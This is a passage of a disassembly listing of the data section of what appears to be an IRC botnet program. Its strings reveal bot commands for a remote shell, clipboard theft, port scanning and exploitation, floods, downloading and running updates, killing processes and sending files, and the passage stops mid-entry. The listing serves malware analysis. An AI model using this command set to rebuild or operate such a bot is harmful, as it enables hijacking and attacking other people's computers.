unk_4333E8	db    2			; DATA XREF: sub_40CE55+59E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_433438	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40CE55+596Fo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40CE55+5969o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40CE55+5962o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40CE55+5907o
aSecure		db 'secure',0           ; DATA XREF: sub_40CE55+58F6o
		align 4
unk_433488	db    2			; DATA XREF: sub_40CE55+58EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_4334D4	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CE55+57C9o
dword_4334E4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CE55+57C4o
dword_4334F0	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+57B1o
dword_4334FC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40CE55+57ACo
dword_43350C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5779o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o
		align 10h
dword_433550	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5757o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o
		align 4
dword_4335A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+56D6o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4335E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5698o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_433610	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+566Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_43365C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+5602o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_43368C	dd 627573h		; DATA XREF: sub_40CE55+55DCo
dword_433690	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+558Do
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4336BC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+5572o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433708	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+54E5o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_433734	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5464o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433760	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5435o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_43378C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+53E0o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_4337B8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+53CDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433808	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+535Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40CE55+533Eo
		align 4
dword_433844	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+52E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
unk_433878	db    2			; DATA XREF: sub_40CE55+52BBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4338AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+526Fo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4338D8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_412027o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43390C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51CBo
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_433948	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51AFo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_433984	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5199o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo
		align 4
unk_4339C8	db    2			; DATA XREF: sub_40CE55:loc_411FB0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_433A08	db    2			; DATA XREF: sub_40CE55+5140o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 10h
unk_433A40	db    2			; DATA XREF: sub_40CE55:loc_411F85o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_433A80	db    2			; DATA XREF: sub_40CE55:loc_411F7Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_433AC0	db    2			; DATA XREF: sub_40CE55+5122o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_433AF8	db    2			; DATA XREF: sub_40CE55+50A4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_433B44	db    2			; DATA XREF: sub_40CE55+4F32o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433B90	db    2			; DATA XREF: sub_40CE55+4E0Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433BC4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55:loc_411C49o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 10h
dword_433C10	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+4D35o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433C8C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AF9o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433CC4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AE0o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433CF8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AC0o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AA7o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D58	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_41187Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_433D98	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+4A22o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_433DD0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_411831o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433E0C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+49D2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40CE55+49B8o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do
					; sub_40CE55:loc_412589o
		align 4
dword_433E5C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+48B7o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433E94	db    2			; DATA XREF: sub_40CE55:loc_4116F7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433ECC	db    2			; DATA XREF: sub_40CE55+4898o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433EFC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+486Fo
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433F34	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_4116A8o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_433F70	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4825o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433FA0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_411646o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_433FE4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+47E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_43401C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_4115E6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_434064	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+478Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_43409C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4749o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340CC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+46C4o
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_434104	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4652o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_43412C	db    2			; DATA XREF: sub_40CE55+4637o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_43417C	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40CE55+45C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4341A8	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_4113AEo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_4341D8	db    2			; DATA XREF: sub_40CE55+454Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_434208	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+451Eo
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_434234	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4513o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_434274	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44D3o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4342A8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44BFo
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4342E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+443Ao
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_43430C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43FFo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 10h
dword_434350	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43E3o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_434388	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4361o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4343B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4326o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4343E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+42D0o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_434418	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4268o
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434440	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CE55+422Eo
					; sub_40CE55+4AB2o
dword_43444C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+41FFo
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+41F1o
		align 4
dword_434488	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+41C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_4344B8	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+415Do
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_4344E8	dd 45444F4Dh, 732520h	; DATA XREF: sub_40CE55+4108o
dword_4344F0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+40D3o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_434520	dd 4B43494Eh, 732520h	; DATA XREF: sub_40CE55+407Do
					; sub_40CE55+48F9o
dword_434528	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CE55+405Eo
dword_434534	dd 54524150h, 732520h	; DATA XREF: sub_40CE55+3FF4o
dword_43453C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410E36o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_434584	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3FAAo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CE55+3F59o
		align 4
dword_4345B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410D66o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_4345E0	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40CE55+3ED1o
					; sub_40CE55+3F84o ...
unk_4345F0	db    2			; DATA XREF: sub_40CE55:loc_410CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434648	db    2			; DATA XREF: sub_40CE55+3E76o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_434698	db    2			; DATA XREF: sub_40CE55+3E07o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CE55+3D61o
		align 4
dword_4346E4	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: sub_40CE55+3D02o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_434710	db    2			; DATA XREF: sub_40CE55+3CE9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_434748	db    2			; DATA XREF: sub_40CE55+3C61o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_434798	db    2			; DATA XREF: sub_40CE55+3BE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_4347DC	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_41099Eo
					; sub_40CE55:loc_4115A5o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347FC	db    2			; DATA XREF: sub_40CE55+3B34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_434834	db    2			; DATA XREF: sub_40CE55:loc_410967o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_434880	db    2			; DATA XREF: sub_40CE55+3B08o
		db 65h,	2, 28h
		db  31h	; 1
